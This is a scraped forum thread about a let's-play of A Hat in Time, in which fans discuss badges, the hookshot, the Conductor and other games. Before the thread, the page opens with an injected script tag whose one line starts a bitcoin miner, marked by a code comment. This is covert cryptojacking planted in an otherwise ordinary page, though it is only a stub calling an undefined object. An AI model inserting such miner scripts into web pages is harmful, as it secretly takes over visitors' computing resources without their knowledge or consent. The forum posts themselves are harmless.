<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralsmbx communitymario fan games galaxy

A Hat in Time - FINAL for now - Revisiting the world, but different this time.

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
SAJewers
hi
Posts: 3407
Joined: 8 years ago
Location: Nova Scotia

Re: A Hat in Time - More Hats

Postby SAJewers » 7 months ago

Yeah, letting him know was probably better for the LP.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
warpio
Posts: 281
Joined: 11 years ago
Location: Canada

Re: A Hat in Time - More Hats

Postby warpio » 7 months ago

Speaking of making the LP better, this isn't a spoiler, but just a little backseat-y request I have regarding things there are still to do/see in Mafia Town that aren't directly related to any time pieces.

I think you should talk to more of the Mafia characters in the town when you get the chance. I think you've only talked to like 1 at the beginning of the game and then assumed the rest of them are only there to be enemies and nothing else, but there's a bunch more Mafia characters who aren't immediately aggro and you can talk to them for some bits of funny flavor text before beating them up. If nothing else I'd suggest at least trying to talk to the ones that you happen to come across while going for the last few time pieces in the chapter.


User avatar
warpio
Posts: 281
Joined: 11 years ago
Location: Canada

Re: A Hat in Time - More Hats

Postby warpio » 7 months ago

Ledgem wrote: It doesn't help that oddyssey required waggle for some moves and I could never actually pull off the weird hat bounce no matter what I did despite everyone else in the world finding it simple....
I really think you should give that game another chance. It's WAY more fun when you make use of the full gamut of Mario's abilities. I can't imagine how boring the game must be without using the hat bounce constantly to take shortcuts and break all the intended challenges.

The hat bounce is really simple, just

hold the hat throw button to throw Cappy, ground pound, then let go of the hat throw button to dive toward Cappy. then you can do that same action again to do a 2nd dive (without the bouncing off Cappy part) to give you a bit more horizontal air time.



And if you don't want to have to worry about remembering what all the moves are, the game has a handy digital instruction manual in its pause menu for that exact reason.

jasper_
Posts: 27
Joined: 5 years ago

Re: A Hat in Time - More Hats

Postby jasper_ » 7 months ago

kurt91 wrote: Hey, since we've got at least one dev here, I want to ask: What made you decide against including the ability to go back and read past entries? Personally, I don't mind, but a lot of people dislike permanently-missable content.
i wasn't in charge of that one, but knowing the team, making something a small hidden thing without calling too much attention to it or polishing it up into a full menu can make it seem more like a random thing that you found, rather than something everyone was intended to find. even though pretty much everyone is going to find it given the huge beam of light telegraphing it, you can see how many people thought rao would miss it. that's not unintentional

User avatar
PSI Ninja
Posts: 31
Joined: 5 years ago

Re: A Hat in Time - Beanie

Postby PSI Ninja » 7 months ago

I would have loved to have a bedroom like that as a child.

This game is pretty generous with telling you where collectibles for missions are, the whole "attached to threads" thing and all. Not sure if raocow noticed it yet. Helped a lot for the Golden Vault in Mafia Town.



Haha, I always prioritized getting the hat flairs myself in the roulette minigame.

User avatar
Reecer7
Crack is fun and nice and a good time!
Posts: 317
Joined: 5 years ago
Pronouns: he/him/his

Re: A Hat in Time - Beanie

Postby Reecer7 » 7 months ago

badges are kind of weird because they have a small case of the tails adventures. you always want hookshot because there's constantly hookshotable things, might as well have a hookshot hat, and then you have your choice of quality of life badges for the remaining slot(s), but like, come on, are you gonna not take magnet? and then one of the future badges makes you look really cool so of course i had to waste a slot on it. so, at least my choice of badges for the whole game remained pretty dang static.
call me reecer6, not reecer7, please! gotta maintain that same internet brand. actually i'm cro-iba now, it's cooler
Image
strange bluebird website (check it out for my art!)

User avatar
Jafar
say yes to capes
Posts: 7
Joined: 7 months ago
Location: Shapeir

Re: A Hat in Time - Beanie

Postby Jafar » 7 months ago

Yeah, the hookshot feels so integral to the gameplay, I feel like it just should've been a natural part of Hat Kid's kit. Not as a hat though, that'd just shift the issue and make the player feel less free to play around with the other hats.

User avatar
raocow
the death of the incredible huge
Posts: 3287
Joined: 11 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: A Hat in Time - Beanie

Postby raocow » 7 months ago

like you can't attack mid-jump anyways, pressing snes Y does nothing normally, just make it a thing you can do
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
AmeijinMayo
Ready to go, count zero!
Posts: 146
Joined: 4 years ago
Pronouns: he/him/his
Location: Canadia

Re: A Hat in Time - Beanie

Postby AmeijinMayo » 7 months ago

Sometimes a jump is the best remedy for a flat part
Streaming: Super Robot Wars Z, Disgaea 4 Complete and Atelier Meruru: The Apprentice of Arland
Image
Image
Image
Image

User avatar
warpio
Posts: 281
Joined: 11 years ago
Location: Canada

Re: A Hat in Time - Beanie

Postby warpio » 7 months ago

The Hookshot Badge is important to have on when you're either in a new area or revisiting an area where you know that you need that ability. In any other case, it can be removed and replaced for another badge that you want to use. Fortunately this game's pause menu is very speedy and easy to navigate, and when you get the hang of it it takes like 2 seconds at most to go in and swap badges.

The Magnet Badge is definitely an obvious choice if if you're concerned with having enough pons to unlock everything without having to do any explicit "let's just explore aimlessly and gather collectibles" sessions, which I guess is understandable when the player is an LPer and has pressure to make some amount of progress on 3 different games every day lol. You should be fine for pon requirements if you just use the Brewing Hat to blow up whatever orange glowing things (and enemies) you see along the way.

BTW the grapple mechanics sure are fun to use huh... Part of the appeal of this game for me is that the movement mechanics in general are extremely smooth, and it just FEELS fun to move around as Hat Kid. Compared to SM64 romhacks, where it's fun when you're doing walljumps and such but going for the 100-coin star always just feels like a chore, this game to me never really feels boring even when I'm just casually wandering around searching for collectibles.

User avatar
Grounder
Posts: 3785
Joined: 6 years ago

Re: A Hat in Time - Beanie

Postby Grounder » 7 months ago

Yeah, that feels too generous to me.
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

10204307
Posts: 357
Joined: 10 years ago
First name: Violet
Pronouns: she/her

Re: A Hat in Time - Beanie

Postby 10204307 » 7 months ago

People seem to be confused about what the Conductor is supposed to be... I've always interpreted him as being some kind of dinosaur, which is basically just a prehistoric bird if you really think about it.

User avatar
Arctangent
squawky
Posts: 703
Joined: 5 years ago
Pronouns: she/her

Re: A Hat in Time - Beanie

Postby Arctangent » 7 months ago

the conductor is clearly a conductor, it's not that subtle

User avatar
kitikami
Posts: 597
Joined: 7 years ago

Re: A Hat in Time - Beanie

Postby kitikami » 7 months ago

I also assumed the conductor is supposed to be a dinosaur.
Image

User avatar
Blivsey
forever an obscure pokemons
Posts: 1021
Joined: 7 years ago
First name: Liv
Pronouns: she/her
Location: Ioway

Re: A Hat in Time - Beanie

Postby Blivsey » 7 months ago

he's the bird equivalent of a kapukapu
Image
convenient noise thread for stress-relief purposes

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 1277
Joined: 7 years ago
Location: the world is no longer a place

Re: A Hat in Time - Beanie

Postby BobisOnlyBob » 7 months ago

Blivsey wrote: he's the bird equivalent of a kapukapu
Image
Neko wa kowai!
ImageImage

“The intent was there; the floor was not.”

User avatar
Piesonscreations
Posts: 844
Joined: 5 years ago
First name: Gon
Pronouns: he/him/his

Re: A Hat in Time - Chef Hat

Postby Piesonscreations » 6 months ago

I'm somehow always surprised when raocow references a meme even though there has been no indication that he wouldn't be an internet savvy person that would actually know memes.
ImageImage

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 2607
Joined: 7 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: A Hat in Time - Chef Hat

Postby Leet » 6 months ago

for some reason my brain saw this thread and today randomly decided to interpret it as henry hatsworth, and i was like, wtf, why are people posting in the henry hatsworth thread again. i am going crazy
Well it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
SAJewers
hi
Posts: 3407
Joined: 8 years ago
Location: Nova Scotia

Re: A Hat in Time - Chef Hat

Postby SAJewers » 6 months ago

Hey, maybe they're related in some way.
ImageImageImageImageImage
Image
ImageImageImageImage

User avatar
UFereSanyo
"UHH! That's Right, I Exist"
Posts: 4
Joined: 1 year ago
First name: Aarón
Pronouns: he/him/his
Location: Costa Rica

Re: A Hat in Time - General Generalization

Postby UFereSanyo » 6 months ago

:catplanet:
IDK But I'm just hoping raocow to improve a bit more his skills in the game or straight up, jump to danger because of how generous the game is.
I literally suffer anxiety attacks everytime he slows down his pace becauseof being unsure of trusting the game.
also, I kind of die inside everytime he doesn't check out a new area in it's entirety (like moving the camera around) and it surprises me because i know raocow a pretty good completionist and it makes me feel weird about it since this game is a massive collect-a-ton (massive in terms of the amount of extra stuff he can gather around all the time but just passes by).
I don't know man, Videogames exist and i hope that he starts to worry about collecting yarns a little more because of the struggle he's having all the time because of not havin a needed tool.
And to make clear, I'm enjoying the series a lot because of all the humour that matches raocow's humour understandings (and pretty general humourous circumstances that can make pretty much everyone to smile) and really hope he starts to take the "collect-a-ton" a little more seriously.
Sorry for any grammar errors and horrors that may be up there, English is my second language and i'm just 18 :^p.
ALSO :catcrime: !!!!!
:slow:
Yo, I exist as much a you do my friend :^P *Inserts Slowpoke & Catplanet*

kurt91
Posts: 83
Joined: 3 years ago

Re: A Hat in Time - Chef Hat

Postby kurt91 » 6 months ago

I guess I shouldn't be too surprised that the Conductor ends up winning. What was it that somebody said? "raocow's level of skill is directly proportional to the difficulty of the challenge presented." Add that to the sheer amount of visual effects going on for DJ Grooves's stages, and I guess it makes some amount of sense.

Also, it's given me the inspiration for my diabolical plan to deduce raocow's IRL identity. I need to go to Canada with a flashy blinking light and look for the person who goes all deer-in-headlights. That should narrow things down a bit.

EDIT: For some reason, when posting this, I suddenly got to wanting raocow to LP Kingdom Hearts. I guess it was the SUBMIT button that did it.

User avatar
Arctangent
squawky
Posts: 703
Joined: 5 years ago
Pronouns: she/her

Re: A Hat in Time - Chef Hat

Postby Arctangent » 6 months ago

kurt91 wrote: EDIT: For some reason, when posting this, I suddenly got to wanting raocow to LP Kingdom Hearts. I guess it was the SUBMIT button that did it.
i am pretty sure a "all the kingdom hearts" would be literally fatal to me






i'd still watch it tho

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 1277
Joined: 7 years ago
Location: the world is no longer a place

Re: A Hat in Time - Chef Hat

Postby BobisOnlyBob » 6 months ago

kurt91 wrote: EDIT: For some reason, when posting this, I suddenly got to wanting raocow to LP Kingdom Hearts. I guess it was the SUBMIT button that did it.
I want to hear him firemanning that X button and getting very confused by the maelstrom of particle effects and twisting camerawork

and then I remember KH1 had fights like Cerberus and I despair at the thought

"greasy" movement like KH where you can never tell where an animation will end or where your character will end up is not a good fit for raocow
ImageImage

“The intent was there; the floor was not.”

tirakai
Posts: 274
Joined: 6 years ago

Re: A Hat in Time - Chef Hat

Postby tirakai » 6 months ago

Honestly I'm pretty firmly on the conductor's side, personally I just didn't think the penguin's levels were very good.

This world in generally really is why I liked Yooka Laylee more. That game has its issues too but I liked every world in it, whereas I didn't really like the bird studios world as a whole.

User avatar
Reecer7
Crack is fun and nice and a good time!
Posts: 317
Joined: 5 years ago
Pronouns: he/him/his

Re: A Hat in Time - Chef Hat

Postby Reecer7 » 6 months ago

i let dj grooves win, predominantly because he was not endangering civilian's lives in every single one of his movies, but also because i got the feeling it was not a particularly popular choice.
call me reecer6, not reecer7, please! gotta maintain that same internet brand. actually i'm cro-iba now, it's cooler
Image
strange bluebird website (check it out for my art!)


Return to “let's play”

Who is online

Users browsing this forum: Ashan, DinnerSonic, Ditocoaf, Google [Bot], strongbadman and 51 guests